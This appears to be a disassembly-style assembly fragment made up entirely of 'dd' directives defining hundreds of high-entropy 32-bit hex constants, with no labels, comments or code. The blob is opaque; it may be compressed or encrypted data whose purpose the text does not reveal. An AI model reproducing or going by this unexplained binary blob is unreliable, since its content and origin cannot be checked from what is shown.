		dd 5553C271h, 1623F56Ah, 0AD074C00h, 1477818Ch,	0BAD40BAEh
		dd 782A532h, 80C0A8EBh,	0AF01229Eh, 0BEF0C225h,	5C74B6F2h
		dd 2657918h, 1C16BB67h,	0BEE04C50h, 21E6E3EFh, 0CA838F17h
		dd 2F0F6205h, 0A42B19C0h, 0E737FEA9h, 0E49E002Ah, 0E88B33E9h
		dd 80E0F33Bh, 8569B0F0h, 93D2CEh, 2D6C1392h, 7779BC99h
		dd 0CCC5F228h, 0EAA90204h, 0A0C03025h, 9C0DC329h, 4FCF04E8h
		dd 7B54F038h, 7E49A11Fh, 0F3B092C0h, 0C084CEh, 0CDB454ECh
		dd 0C58FF524h, 82227E00h, 0EE833FC1h, 442A16F2h, 0D6044297h
		dd 527E588h, 61D34650h,	11290074h, 0F58D8E76h, 84798CF6h
		dd 132C653Bh, 9800515Eh, 6F184170h, 241700D2h, 605071CAh
		dd 2C12FD46h, 0E800E7B0h, 288C237Bh, 54340008h,	9D7369E2h
		dd 2400554Fh, 56B04161h, 5C3C7D60h, 400B9FAh, 0ED8D9B2Bh
		dd 3300175Bh, 0A7E3BCD5h, 4EEC5CA6h, 1D55E838h,	80A75864h
		dd 0F766E044h, 8F920F33h, 0A2E09C60h, 3A72BFBCh, 80CACC3Bh
		dd 5D201CBEh, 7E36214Eh, 14480086h, 0A4987B30h,	4976A60h
		dd 83C73A18h, 0E0A9072Fh, 0F8F1ECF0h, 9A682D41h, 42DD4800h
		dd 4C030158h, 2C3C8C79h, 0C80FDC4h, 1E2496F8h, 554DF43Eh
		dd 4420188Eh, 3C8D990Fh, 398C8145h, 2FD093h, 0D2B4F328h
		dd 610081F9h, 7F10C1C4h, 3060F104h, 2DE10199h, 50C08839h
		dd 0CD857142h, 0CE79FA1Dh, 0CA821728h, 0AC50A75Ah, 0AA61C50Eh
		dd 21E960C0h, 1591C229h, 285C4724h, 0CB00B03Fh,	37677EEEh
		dd 4400CD1Dh, 8EEAE395h, 2601B5C2h, 1281D1B7h, 80E50B28h
		dd 8DF91C00h, 32007525h, 6AE8BFA6h, 73DEBEh, 42A0E028h
		dd 0E410B40Dh, 270D33Bh, 4A45FD25h, 1DCB87A7h, 0E9803D9h
		dd 0F550C774h, 47AFBECh, 0A7985FF8h, 448CE049h,	2A1A000h
		dd 87155984h, 908D0093h, 0A3A894F6h, 1C0374F1h,	1F882998h
		dd 0AE46B0B7h, 97DAC00Ah, 17EE1308h, 0FE89BB0Fh, 0DDCA0041h
		dd 0F380B9Eh, 0F91169A8h, 0E83AE4A0h, 0AD01288Bh, 5583EB8Eh
		dd 0A8EF0A99h, 13C15ACh, 7603114Ch, 0EF246E39h,	0A19806E8h
		dd 9F25B900h, 0B80587D8h, 2B17DB2h, 799472Fh, 0B0E2F01Ah
		dd 794DB740h, 430289Dh,	4E00DE55h, 9E7A3359h, 9DB63051h
		dd 580F4CBEh, 82E44EE1h, 743814D8h, 3A5500C4h, 47257EEBh
		dd 0CF0FC102h, 74C8DB53h, 2F1908D8h, 11142194h,	4F11CF9Dh
		dd 2C281185h, 0F6080D21h, 8E2390D9h, 1921D1EAh,	90DB5608h
		dd 20519D97h, 113EE511h, 0B11C4E9h, 297011C6h, 0AA10F121h
		dd 5442FF88h, 21DD2436h, 1217DA70h, 0ED02D2ABh,	0A2A9222Dh
		dd 26B000Fh, 83DE53h, 7966DB87h, 67CF231Dh, 0D84AC8E7h
		dd 0BF4BA07h, 0AB671C46h, 521F21E0h, 0E2BE07BCh, 10363DC1h
		dd 61F62D4Dh, 0CE9A1600h, 3E27FFC4h, 7BC60B40h,	0B880D50Eh
		dd 0B799B9F2h, 0AB9E5A00h, 0F8AE5507h, 6676393Fh, 8172BE80h
		dd 0D4B2F62Bh, 13286400h, 0CCE3F81Eh, 0A8A900C2h, 77B61D1Ah
		dd 8000AE51h, 0D78B36E1h, 14C760h, 1E013CFFh, 77B888A1h
		dd 63ED9450h, 3A00CFFCh, 61B74BDh, 0CE12AEh, 0A38A8CE5h
		dd 0DDFE807Dh, 4200F473h, 6C9BA625h, 162F46h, 0D02DDE2Bh
		dd 0AC968C35h, 7CB9FE01h, 0E6054B03h, 93820h, 66831ADAh
		dd 0E52C59DCh, 86738100h, 700CC054h, 7E1000ACh,	80EDCFB1h
		dd 0BA00791Ch, 0FF38CB2Ah
		dd 34B817h, 0CED8F5B2h,	3046846Ch, 2F703D03h, 0A06F32B3h
		dd 3AC263h, 5BA4CB82h, 0D4DF4E01h, 3A789049h, 8A0D801Eh
		dd 7F82C1BAh, 0F76F00B4h, 0C95F77D7h, 530019B3h, 316E2D0Eh
		dd 0F178BEh, 15490196h,	13DAF07Fh, 0F91850FEh, 0AE8835BBh
		dd 0AD080087h, 3B67E399h, 6D0112F4h, 0CF48E0C1h, 0A4E850C4h
		dd 0E0685075h, 0DDD900C2h, 0F46AF2B4h, 760037F3h, 6E38333Dh
		dd 19F81E2h, 0EC15DD4Fh, 40A4EB97h, 4AE672C8h, 2165B216h
		dd 0F3A72500h, 7FD3F97Dh, 0C419003Dh, 17D838A6h, 4C00EAF7h
		dd 0F0CE0305h, 0E40C8F39h, 4DC6055Ah, 0C030B7B1h, 79F6C5AEh
		dd 7D150200h, 0A6A8D85h, 357633h, 1DA1820Dh, 8A345597h
		dd 8EC511Fh, 0C4D576C0h, 1FEFD18h, 4706882Ch, 0F49AF0ADh
		dd 4400E774h, 0FFA7B364h, 5CB2AF85h, 600076B5h,	0DB6CC3D8h
		dd 78781080h, 0DF2EEF78h, 760066E8h, 0E5F95370h, 7C480023h
		dd 35A8BB54h, 0EE722DCDh, 0DE000473h, 12026667h, 7379FAh
		dd 8114D1FFh, 0C9EC4344h, 0E25ACC01h, 0C841BCC0h, 3E1020h
		dd 37731AE6h, 0D95581BBh, 0ED7D3F1Ch, 0E3F74280h, 4DB21226h
		dd 0EB128058h, 7BB0000Dh, 5BC40276h, 9E92A703h,	0D8F9D69Dh
		dd 74DE59h, 519F5A2Fh, 0F72982C8h, 324D9800h, 6DB36180h
		dd 1DBB39D5h, 0A483A20Eh, 0A96000DFh, 73E8D162h, 991A5406h
		dd 0FC10380Ch, 40FE5Eh,	3B07F334h, 0C4756B32h, 407A1F2h
		dd 76FA3C31h, 550D84C9h, 0CEE50880h, 674600D8h,	9C50C30Eh
		dd 0F1E30BBh, 0F88E2160h, 62A3E0A8h, 57F1902h, 9F764DEh
		dd 75C0EB8Eh, 2BFCD54h,	9AE66250h, 96E0BCF3h, 6100FE24h
		dd 122F0633h, 744586E9h, 1B43BF42h, 0D2A22EB0h,	0FA057B14h
		dd 622A0094h, 0E75C721Ah, 7AFD7940h, 4C65128Bh,	0E9D600F3h
		dd 90A462D8h, 17B75F0Eh, 8F0B60AAh, 18DCFC2h, 0DD5AF430h
		dd 0CCD77376h, 391E35A2h, 0AD008EE2h, 189019ACh, 483CEA7Fh
		dd 0A000C89Dh, 0CD74D7E1h, 53730C47h, 0C5DEBB00h, 0D112A833h
		dd 212D0041h, 0C1DF68ECh, 8E00AE63h, 43F565D3h,	2604A96Eh
		dd 81A0F397h, 0FBA489B9h, 0F051D0DCh, 0B04BAF28h, 0E7F424E9h
		dd 35006477h, 0DEB74A9Eh, 385D8CFBh, 50C98EC6h,	0D3421A00h
		dd 0D080FCF3h, 2FFB080Bh, 214A0793h, 0E8FEA9F3h, 509CBF41h
		dd 579042h, 22F0DA1Fh, 1C1B278h, 90465026h, 0E0334509h
		dd 4C9EF4h, 3B7E9FEDh, 0AF5371Fh, 830B0438h, 8626704Eh
		dd 4C87B848h, 6CC24860h, 0B480153Fh, 0B2AE5BABh, 0E94D821Eh
		dd 0D96E0068h, 38401290h, 9C264816h, 44900C30h,	894F1A47h
		dd 4FBDB0h, 39648229h, 72EA26F7h, 333EC201h, 0BC968FF6h
		dd 0BEFF9420h, 0E5E001C8h, 20FE28E9h, 0D94CEB00h, 84A480D8h
		dd 0B9981E3h, 0BF0376AAh, 4E6E2200h, 0B72CDA95h, 0A1010C7Fh
		dd 0E543DF9Ah, 253DD8D3h, 2E56009Bh, 90F96AACh,	0C0A884A2h
		dd 3800683Bh, 0DF7BFFCCh, 3CED9656h, 921F34DCh,	40F40736h
		dd 3E9F082h, 5A0E1C01h,	831A1008h, 0F85542h, 0BF5C7AA0h
		dd 276B6C02h, 0B8ED9400h, 241C32CFh, 97B10003h,	603450BDh
		dd 0A638A70Fh, 1E56807Ah, 4983FF12h, 0D0063904h, 26840276h
		dd 0B6E14E75h, 3DD5040h, 392691EAh, 941C5CBDh, 2D1685FDh
		dd 841C7964h, 8F6D8ACAh, 0A996CA07h, 3ADFD93Ch,	71A6DC1Dh
		dd 51D400F3h, 74454C90h, 3DA0F3Eh, 0FFA6B996h, 0EC3B09Dh
		dd 0DC400032h, 0D4EA4F81h, 300AF58h, 8E51C21Ch,	3A65DE1h
		dd 9BC4E89Ah, 0F2E0570Dh, 0D1E8057Dh, 5B8C4900h, 4A2E7E72h
		dd 714D00CEh, 9950ACD7h, 10F8B586h, 4062D227h, 7354A8h
		dd 0A1A217B9h, 3B0A2B35h, 72A72902h, 0C82741D5h, 7D6CBE0h
		dd 0DB9A0CCDh, 0FC01C1D9h, 4597D451h, 1752D707h, 0E22070F1h
		dd 48D23D8h, 0BDA15BACh, 486C8C4Ch, 98F4B00h, 0FA6D089Bh
		dd 3DD20007h, 0DE2236F3h, 78002CC9h, 73E03ADFh,	0E88FF165h
		dd 138D00FEh, 74878AE6h, 0F726444Dh, 0F202DBE2h, 0C8F1F68Fh
		dd 799CC00h, 0F79F6F4Ch, 0A5E7C12Fh, 8A3CF824h,	0AE317E03h
		dd 98F462D7h, 83F7CCh, 5E6146FFh, 0CA99EA19h, 0F0704Ch
		dd 0C5EEDAFBh, 0DB4DD0h, 0DF609D59h, 6B8C199Bh,	7757E38h
		dd 417C8ADEh, 6FFB0F40h, 4D1D394Ch, 8E9CBB85h, 2512C194h
		dd 74E07089h, 6B00D5FEh, 804FA2F0h, 208740h, 0F8736D4Ah
		dd 25951EB9h, 0AF63DE01h, 0AE3D4E5Bh, 1D498DECh, 0F933383h
		dd 46EFC2D1h, 3B72EEC0h, 350F2E07h, 0A964C997h,	0C4AF001Fh
		dd 4A3A0h, 0CF5C138Fh, 0BCFF5068h, 4E2E48h, 364C9B0Dh
		dd 1EC6B910h, 0C14E3DFCh, 0A57B8FBDh, 0A6ABD0B4h, 30E32E30h
		dd 1894F67Ch, 487DEC9Ah, 7F01C36Dh, 0EE2B8D75h,	1AD47273h
		dd 3D5A0030h, 5CE05D87h, 0D400E111h, 32D9C542h,	0B3713Ah
		dd 0A4DE2A20h, 0E11E0348h, 3DEFBC00h, 1F30DDF8h, 0FDCA025Bh
		dd 207815C3h, 0EBB59FC0h, 2891AC37h, 78918144h,	0D8A89CB0h
		dd 3079E678h, 46F8B48Eh, 0B800770Dh, 43CE36Ah, 314C6976h
		dd 91B401EBh, 7FD8307Dh, 8E85883Fh, 40ED7B2Dh, 943BA1FCh
		dd 0CFF717F3h, 727C004Dh, 0D719620h, 76084A00h,	1FC6BF06h
		dd 25FD039Ah, 0D1DA1232h, 0BC6F6EF8h, 2F13500h,	0E974EE38h
		dd 8F8300A0h, 16955ED3h, 4309E817h, 3B1B2DDh, 0F82261E4h
		dd 1F06DB4h, 0DEAC1255h, 6028919Dh, 0EA02155Bh,	0B6766F23h
		dd 1E756159h, 3EC8B434h, 0F900358Ah, 0EE407C79h, 930121D1h
		dd 646E850Fh, 283027E6h, 77A40968h, 28F082B0h, 0DC8E4A01h
		dd 704304FFh, 0E2018320h, 98DF0359h, 82FC674Bh,	91C130A0h
		dd 0F40264B2h, 5573AE34h, 0FBB86013h, 2A3200FAh, 5BA4D893h
		dd 0A304B11Eh, 1B6C286Ah, 0C1FC3C92h, 3C201470h, 1DC6392Ah
		dd 0E853BC0Eh, 2C61E4E1h, 0C0E4EF77h, 196514C4h, 9C3EE1Dh
		dd 0D31C8E47h, 0BA05B231h, 69A3007Ah, 2CB3D89Ah, 1BAAB000h
		dd 0F5E7C294h, 0F13F0034h, 50090B20h, 0FE001A70h, 0CC538551h
		dd 3AC404ABh, 751D2C59h, 3CFD0071h, 0C73A2431h,	7855AA07h
		dd 0F5717C0Ch, 60644295h, 0B2CC0106h, 44559E04h, 0A2D0309Ah
		dd 0C92EB428h, 83A69638h, 0A362BEDCh, 660A80B8h, 1E020034h
		dd 9377DF4Eh, 0E1015A97h, 5724EB15h, 0F450BB61h, 86A35E55h
		dd 28D1A900h, 3FA8529Bh, 1F2C9897h, 0FC178DBDh,	73F33780h
		dd 0DA841AD2h, 0B500B398h, 0ACA0A3E1h, 728AB3DFh, 71640478h
		dd 0C0380336h, 0D95A7F98h, 8D74AA00h, 88D09CBEh, 1430F472h
		dd 0DDC41698h, 2732D505h, 65D3C042h, 6E8E4ADh, 1160E803h
		dd 0C8C3ACB3h, 9FFA868h, 1D47489Bh, 60FE4820h, 0AF09C0F6h
		dd 86F1046Bh, 6872DCh, 25F928E7h, 0CDB4D8F0h, 807B58h
		dd 0A8CB1E43h, 0DE54E2h, 0F9390AE8h, 6A9188E0h,	0EC4F5Dh
		dd 0C99A9038h, 0EEFE4882h, 0A2660B89h, 5081DAFAh, 0C5F706A9h
		dd 0DF8CC03Bh, 8612ECFAh, 34002BD2h, 28F8D954h,	8AA71E7Fh
		dd 0A846C080h, 1FAFDC04h, 44009D4Bh, 0C1E607AAh, 93B80AD5h
		dd 284BD9Eh, 8521117Bh,	20AEF8C8h, 387FF91Dh, 0EF9E6E00h
		dd 31365E2h, 5FEAB57h, 51D7250Fh, 0E417D59Dh, 99003640h
		dd 221B08F8h, 0F457515h, 0F6443ECh, 0F8BF141Dh,	0C485B03h
		dd 69884680h, 91005E7Ah, 0EC7D102Dh, 0D7FA4Ah, 0A7FB1BDDh
		dd 0B18807B2h, 5812B000h, 1889C916h, 40DA58FFh,	930E7C3Eh
		dd 0E400ABF5h, 95DEF950h, 0AD636400h, 0A1EEC660h, 606D49DDh
		dd 552C2607h, 0B0B6E7A5h
		dd 455E3BBEh, 7204B2F2h, 8C6AAF1h, 0C38C2980h, 0A0E858h
		dd 2569D706h, 0B6D87C6Dh, 0C1FAC000h, 95C7A64Bh, 88D424F5h
		dd 4DF23A08h, 72805443h, 74C72BA5h, 0D7BE1F01h,	348B10D8h
		dd 0D20ECCh, 2757CD87h,	544B5A09h, 0CACBA200h, 0BBAF89D7h
		dd 0C0210023h, 0CFBCA44Eh, 30000E8Dh, 46478726h, 7BE256Eh
		dd 0DFEB835Ch, 749B090h, 48B4CC8Fh, 7D992902h, 0BCAA00EAh
		dd 5000D665h, 0DB18FE26h, 9062679Bh, 917E0088h,	5BE64E2Eh
		dd 1C00E792h, 0E9A8CA02h, 6C149Fh, 39759AF5h, 9D5EB647h
		dd 7806DA01h, 0EDD18F17h, 0EACC88E9h, 4A4100F6h, 0B44DF5B8h
		dd 601E6308h, 0CD403240h, 4592FF82h, 7B97008Ah,	43BC75D5h
		dd 5F00AC85h, 8622FAF9h, 1B7EF8h, 7955CD1Dh, 0F083C71Fh
		dd 80206400h, 6EC3C565h, 0B07EAFh, 45CA55F4h, 95CEA57Ah
		dd 906AAD03h, 88ABBFCCh, 80FF3Eh, 7AD4C0CAh, 0A6D36331h
		dd 0CEC7C814h, 344018Ch, 0B1124649h, 1239DEE0h,	757F90Bh
		dd 0D06ACA66h, 6FB6EFAh, 15D2400h, 7CD1E9C4h, 69682893h
		dd 0E3270082h, 41832BC1h, 7224FF92h, 0F107F497h, 0B4EA79CAh
		dd 53963D83h, 0A6E1DFBFh, 34642419h, 0AB5B0045h, 0BB8AFAF2h
		dd 0CF0751ADh, 0AE8860CDh, 4805D9Fh, 8DE3749Dh,	0DEE5046Ch
		dd 0C0902782h, 0EA66F07Ch, 81E6A639h, 698ED47Bh, 587DAB6Eh
		dd 29912C77h, 0C043927Ch, 210D34D0h, 0FD2ECB02h, 0C84BE8BDh
		dd 197A870h, 0C65482Dh,	0EC134F42h, 3800C5DBh, 0BFE8FE08h
		dd 462E26Fh, 60E19989h,	0FA05801Fh, 0CD05ED10h,	7923CDEh
		dd 250CE300h, 0A8FF7C17h, 484A4D84h, 820038E2h,	0FB52028Bh
		dd 1C0044B8h, 30EB9698h, 8A294Ah, 320CFF5Ch, 63D89408h
		dd 0DB48E001h, 42F165C0h, 0AA09D0h, 0AE7A98B7h,	0B4C0EC9h
		dd 765C0406h, 8F0E48Eh,	83F3C7C5h, 99A70C3Ch, 4AAA19ADh
		dd 84944449h, 0B8C01D62h, 422008B9h, 0E5F2002Dh, 72F958BAh
		dd 7900908Ah, 0C8C65FB1h, 60D6A877h, 589A4804h,	11013921h
		dd 2FB5A982h, 0A1D55192h, 3B7064h, 0FA5E4061h, 1AF634F0h
		dd 5D00D0EAh, 0DC58A189h, 0D624AAh, 809A3E4Ch, 8A68F8CBh
		dd 0D91C1498h, 1AC037DBh, 0BC780C0Bh, 0B0FB007Fh, 0D5BE660Dh
		dd 84031343h, 3ECFEF46h, 8A880E8h, 7F0D0017h, 0D6AB0730h
		dd 0A7306644h, 12696EC0h, 541500FEh, 6D8A8FC2h,	7E24E351h
		dd 0B4005725h, 420D39EEh, 7A78E2h, 0E699F020h, 0B1977B5Eh
		dd 25A43Dh, 2F1B9DE4h, 0A53D88h, 0EC87D5D7h, 969CE1F0h
		dd 18C17B09h, 0EE1C807Ah, 0AB929Ah, 1321280Ch, 386F1966h
		dd 28780330h, 41FA9Fh, 7A645FDFh, 7DD25AB4h, 7313Dh, 9606EC27h
		dd 10539Eh, 7664DC47h, 0DE081E6Fh, 0CECD431Eh, 0AD00AB6Ch
		dd 3E962A40h, 24340098h, 7F314413h, 0E400C22Fh,	6450A818h
		dd 0EED21F8Fh, 0B07BECh, 0B8546833h, 0C7FC9689h, 2012DC00h
		dd 8269065Fh, 3F3598D9h, 2200E153h, 7481A001h, 3B1579F6h
		dd 2258CDEAh, 0D9A600EEh, 0BBC08BECh, 4A09EBE8h, 8072602Fh
		dd 78885CCAh, 0F5DA1FDFh, 0FC3C00B4h, 44FE6257h, 0A1F03000h
		dd 26F1A588h, 0E2B20569h, 0CFD046h, 0F28C9B8h, 9100E79Fh
		dd 0C07868E3h, 340A9E4h, 0EED053D6h, 0C1C0B315h, 9000867Dh
		dd 0E081F955h, 8421D7h,	0A4A52D70h, 0FBC08ED0h,	23B35F02h
		dd 0A074DA6Ah, 3B033094h, 0FBB0022h, 0BD4E78ADh, 4328930Bh
		dd 0D700A60Eh, 8F9C14E0h, 0F9F32F6h, 0A07DDFBBh, 0A1508A0h
		dd 93005C42h, 0CEE5DE7Fh, 0A86E9FF5h, 1968F94h,	81B731C1h
		dd 31BE3388h, 0D800D76Ch, 0F5AAE919h, 85E272h, 2315B271h
		dd 36F0626Eh, 0B088DE50h, 0E53B7700h, 733C3DAh,	57D50031h
		dd 1E9A28DDh, 170059D0h, 806B4104h, 38ADAFC1h, 2003EDDFh
		dd 3B69CBC6h, 0BB66E03Dh, 0FE3F007Ch, 83D12D7Bh, 0E83D0004h
		dd 738BC275h, 25007154h, 0CCFEBACBh, 1D28A522h,	40EFEA1Fh
		dd 0CAA28FB8h, 0F30075DFh, 0B2E36407h, 6D29AECh, 3FFF95E5h
		dd 8C1D686Fh, 32459C06h, 0F3C083E0h, 0E2A3D9h, 0B52FCE40h
		dd 0FB774EC6h, 9D50FA00h, 61D7E134h, 0BA4D00FDh, 0F2C15BEEh
		dd 233DE8C5h, 92C90076h, 0FE342A2Dh, 72CA0090h,	6F27F6BFh
		dd 0B100474Eh, 0CAA4054h, 308D33BAh, 0DB48FF0Dh, 893B19E1h
		dd 0F8479DC9h, 0BDB17200h, 0F51B66h, 78487033h,	550CF0AAh
		dd 6000D179h, 7BFA81F4h, 0E46823h, 0F9BB9B99h, 0BFED0574h
		dd 0BA539C00h, 38F245DCh, 7CFB3E5Ch, 498A0200h,	5381E403h
		dd 0FF3E98E8h, 48119233h, 0A8647E03h, 6DFAA8E1h, 279600DEh
		dd 0B9F4AE4Dh, 0AC002962h, 243C5332h, 0CDC28Ah,	49B206D8h
		dd 42E04657h, 83A52B3Ch, 5E3DA0CFh, 0E18B8BE5h,	0FECC958h
		dd 41E7041Fh, 80F79B3Ch, 0E303D37Bh, 4B052400h,	64FD137Eh
		dd 9C7EE7h, 0D0E4CC63h,	0D2F01D9Dh, 77785A05h, 0EC00D77Fh
		dd 88A64E09h, 2C5C009Ah, 0F302FB99h, 700DDB0h, 0C0E0D51Ch
		dd 0F8A88523h, 13CE0039h, 6A8F69DFh, 5716C77Eh,	0BD1C89DEh
		dd 7BA4FA1Fh, 8E23BA00h, 0E6A5C13Eh, 0CA0F01A0h, 85A75AAFh
		dd 0AB3BC0E5h, 85B591F6h, 0D0401CABh, 0ACA4C80Ah, 977CEh
		dd 7839FC35h, 7CB37991h, 0A1581700h, 1AF0D450h,	962B0056h
		dd 1426176h, 8D0060B0h,	8026C5Fh, 2AACA9h, 0DD2807E3h
		dd 0BB459EB4h, 20E05050h, 189B9A13h, 0AD04D400h, 1F91C457h
		dd 406FF744h, 0B2882829h, 1E6FE43h, 38C24A1Dh, 0A37DAF00h
		dd 186F8EEBh, 0EADA0397h, 5804E7B7h, 2816A738h,	0C796D080h
		dd 0C4E0180h, 84620293h, 0FC9AD414h, 1E0032ECh,	0AFC6FF50h
		dd 0DE7BCFh, 100E0415h,	27DDB56Ah, 47D00500h, 0AE4AFBFAh
		dd 258E00A9h, 0A4E3EC23h, 6700851Ah, 1699F650h,	1C664698h
		dd 81D17627h, 3B1C7EB6h, 0C2F440B0h, 0E10168C6h, 93D73E0Ah
		dd 0F9ED7598h, 0B911A0EFh, 8C5F0074h, 8AF63970h, 4E00F883h
		dd 0C74A2520h, 0D0F041h, 7BE3B30Eh, 2B456CE9h, 0C1D50700h
		dd 9EE2A611h, 665A0081h, 1EAEA5F0h, 0CE00FE7Ch,	0A4900885h
		dd 582E9BFAh, 775BA5Ah,	5433D2F4h, 0CD5B1043h, 160FC33Ch
		dd 6030BDDFh, 6D560651h, 5DA70027h, 0C907775Fh,	0B40053E3h
		dd 94B236D8h, 141E15h, 0EB0FA3BAh, 2AC9E142h, 857A6A00h
		dd 2B1C582Ch, 0FB563FEFh, 39428280h, 0E423E524h, 90014790h
		dd 9BC95CBDh, 389CD91Eh, 86F54283h, 5C40A273h, 5B3DDC96h
		dd 0F6C600B8h, 0E026416Bh, 0DDCE045Fh, 80FED43Ah, 0F0F5384Ch
		dd 0B8DB4624h, 290F6500h, 1F89A26h, 4F7DFF62h, 7F031C01h
		dd 7C4BFD00h, 0F97514h,	5B9C6635h, 4DBA806Eh, 0C0C8A400h
		dd 0E9CBA1A8h, 7C3E7FF3h, 0E8330F3Ch, 0B289EDF9h, 0F140A82Fh
		dd 4B3E2C6Ah, 97E28B28h, 7F826B02h, 40F6E778h, 79D80234h
		dd 0BE1E1892h, 972010D0h, 6A6C9460h, 7555B0h, 82735CD3h
		dd 326B1B4Ah, 8B83E201h, 56DBF75Dh, 79958040h, 375B3ED3h
		dd 84ED00FCh, 0C972F15Fh, 100E3598h, 5371FEh, 0E3774147h
		dd 0D83F0FA7h, 408C5E38h, 0E80A2851h, 609DECE5h, 6B054B06h
		dd 0E7F8F160h, 0E2EB092h, 0EE6F978Fh, 3391474h,	31E59C83h
		dd 92D8271Ah, 68904510h, 7BBE9800h, 0E4AEC4C9h,	5ECB0736h
		dd 100D526Fh, 130A5F93h, 5B7FC800h, 0BCBA175Dh,	982C00D4h
		dd 27ED57EEh, 81C054F8h, 0F1744DE4h, 38A3D2Ah, 9242F960h
		dd 0DF008FF7h, 0E0B6B19Eh, 719F531h, 6E471F15h,	8E5EB609h
		dd 96D81D06h
		dd 515AFEh, 402DE85Fh, 5C4A553h, 0EEF47203h, 0A87B583Bh
		dd 60FEAE1h, 60804E7Fh,	0DB12E8C6h, 3840C416h, 31A87BD0h
		dd 0DCE237B6h, 0AA90C150h, 700BF927h, 4400729Eh, 0A1EAAF47h
		dd 380AEB77h, 5800B6BFh, 2BC94B51h, 611C5615h, 0B918A035h
		dd 72DC228h, 966B7922h,	67511047h, 69002A45h, 0EE44B15Dh
		dd 3856D4C6h, 38079CBh,	37469F10h, 49007873h, 849CCCF2h
		dd 0C01B61h, 3133E470h,	9AAD1F71h, 0E50C5400h, 0B718AF20h
		dd 0B44F01BFh, 4219A9F1h, 2CABFCF6h, 0AD523007h, 0D9C09886h
		dd 0B7CAE7h, 7BDF9064h,	5B1EF813h, 0F6100B0Fh, 0FC05A09Ah
		dd 3F2598h, 0B439C9E9h,	3268CC7Ah, 9C4270C0h, 0C29815h
		dd 0DCA3EDE5h, 514A6FF5h, 0D576B10Fh, 0DAB6C7DEh, 1B79E05Fh
		dd 0F4F1B581h, 0FE9900E7h, 3691C385h, 0C1C04A31h, 16E88E90h
		dd 4F7EC5h, 3460EDB9h, 9570BB35h, 98F2BA00h, 0E84DCA6h
		dd 1CF418FCh, 9AE990B1h, 9C40C407h, 56609BA1h, 0F0A8BDEDh
		dd 2DC5002Fh, 72AB98DFh, 0AD281ED4h, 0B000B969h, 0C19A4299h
		dd 98E028h, 3052136Ch, 9350C5Dh, 5775BBFCh, 20D839h, 85AC99AAh
		dd 1D0CA2B6h, 0CA7D394Ah, 0FC7F05Fh, 0E0034191h, 8AE01988h
		dd 383A61E5h, 3E1A3EA2h, 0E4DA00CCh, 2757592Bh,	55813A2Dh
		dd 0F9218930h, 0DD00DAB0h, 9CFAC470h, 0E8F693D6h, 68426678h
		dd 970729ACh, 48C40FCBh, 8BFEC3h, 6C8EA719h, 21E9DEF2h
		dd 0CD25D200h, 789B1F17h, 0F9E400A4h, 0F3894028h, 0A018E6ACh
		dd 0B3D8B8C6h, 6001F2A2h, 0FB9D4924h, 0D30ECCFEh, 1C321CE7h
		dd 56181E1Dh, 70F34021h, 462007FEh, 504CB4FCh, 6636B32Ch
		dd 59C61300h, 0CEA0EAA3h, 660C0AEh, 85823164h, 7A1CD27Dh
		dd 4B409513h, 0DAE0AEF5h, 92A9013Ah, 495C9D9Ah,	0CB3ECC25h
		dd 839B7300h, 75B77CF4h, 0C72D00FAh, 64B8A4C4h,	0BC07C274h
		dd 0D3FFC09Ch, 0E83DD9B0h, 2A2C1D61h, 52F8702h,	49A1F0EFh
		dd 14FE1E6Dh, 520A9218h, 0A28818h, 2C6487BAh, 3D13D607h
		dd 1CED4503h, 1673AD06h, 0D42B30h, 0CFD12DB8h, 0A93A5221h
		dd 0ECCE1FCDh, 0B8043D80h, 0E86E208Ch, 8364061Bh, 60236D6Fh
		dd 0BBC020D8h, 369B00C4h, 4B33DA5Ah, 2D605448h,	0B386CB41h
		dd 78D10C0Bh, 2538225Eh, 0A484A100h, 0D9B70411h, 49483B07h
		dd 0D480B63Ah, 0CC96E018h, 1D01F07Ah, 0B2DA0194h, 0BEE0C7B0h
		dd 6829015Bh, 5A91E0FFh, 256CC0FCh, 95B75E01h, 3C5C997Dh
		dd 9DD01061h, 5F6B00A5h, 79AC6C81h, 7BE8FAAAh, 0F2129C00h
		dd 66C5C669h, 77EF9h, 325E15CAh, 0FD030B06h, 0E78F251Eh
		dd 14EEAC83h, 4760A744h, 532DBBh, 35234EEFh, 6BA60ED1h
		dd 28FA9E78h, 1EB2FD03h, 0F0E4482Bh, 0F6E221E7h, 7D4002Fh
		dd 1DF87EEAh, 0BF076BC3h, 0E3D79C4Ah, 1F8D2690h, 0B70E001Ah
		dd 46C24B44h, 0B40052D4h, 16147F78h, 0D17ADDBFh, 87BC0410h
		dd 10812C30h, 0E617716h, 0C0713759h, 2400516Eh,	840D4FDEh
		dd 0FF6FF101h, 0F80943E5h, 7AAACCE4h, 4AA41D92h, 1463C088h
		dd 7962FBFh, 0F00561ECh, 8C4E5679h, 0FD94A4C0h,	3B0B1E42h
		dd 0D8DC8FA3h, 0E4B5ED40h, 3EDF29E8h, 0BE001B1Eh, 10A5ACB3h
		dd 15FD00C7h, 0EDB24525h, 8500FFF8h, 5820F038h,	2E6BB661h
		dd 0F5D83Dh, 8E75339Ah,	630BF456h, 80C1FBD5h, 0CD95A31Ah
		dd 0F82B00ABh, 49061D22h, 2700A9C9h, 5073290Bh,	0F61C14h
		dd 7952D287h, 252C02B0h, 5C670400h, 966173EBh, 187A26h
		dd 8D7C050Ah, 72340C63h, 0AE2BDC1Ch, 1FCC9A40h,	3468F88h
		dd 303CE3E9h, 0D5C97E23h, 0CDBEF85Ch, 0CE242600h, 0B663D74Bh
		dd 870E0068h, 75AC81FBh, 0EC0AB485h, 0C8555D33h, 0D7248000h
		dd 129DDFE0h, 0B8E2F14h, 0F803C89h, 0A92B6786h,	0F2FDB700h
		dd 0E81C174Bh, 47010213h, 7C9BCF92h, 450ECA0h, 2E073ECAh
		dd 87AAB670h, 1023ABF1h, 4E4130h, 0EBB07E06h, 0F986F8C2h
		dd 562BFD07h, 17B15CE0h, 62305412h, 0CE2D2806h,	71B0181h
		dd 0BF45BADFh, 10AA2059h, 3EE3FF07h, 9850F202h,	0F8B37Dh
		dd 7AA0E20h, 7A410F7Ch,	0C02E8D00h, 62A93425h, 874D078Ah
		dd 93183714h, 8BB8439Fh, 0E903490Bh, 29026375h,	440A0CFh
		dd 64500092h, 2D9D8146h, 0D3070EE6h, 7FD37A1h, 0C2245C60h
		dd 3FCB0094h, 73835FC5h, 65004F5Bh, 639E6F90h, 0A0A214CFh
		dd 1974D98h, 0E2F383D3h, 8045BBE7h, 441F9CE1h, 1822B5h
		dd 4D1AE050h, 79FD7EAFh, 68477F1Ch, 9EE8954Fh, 4300C66Ch
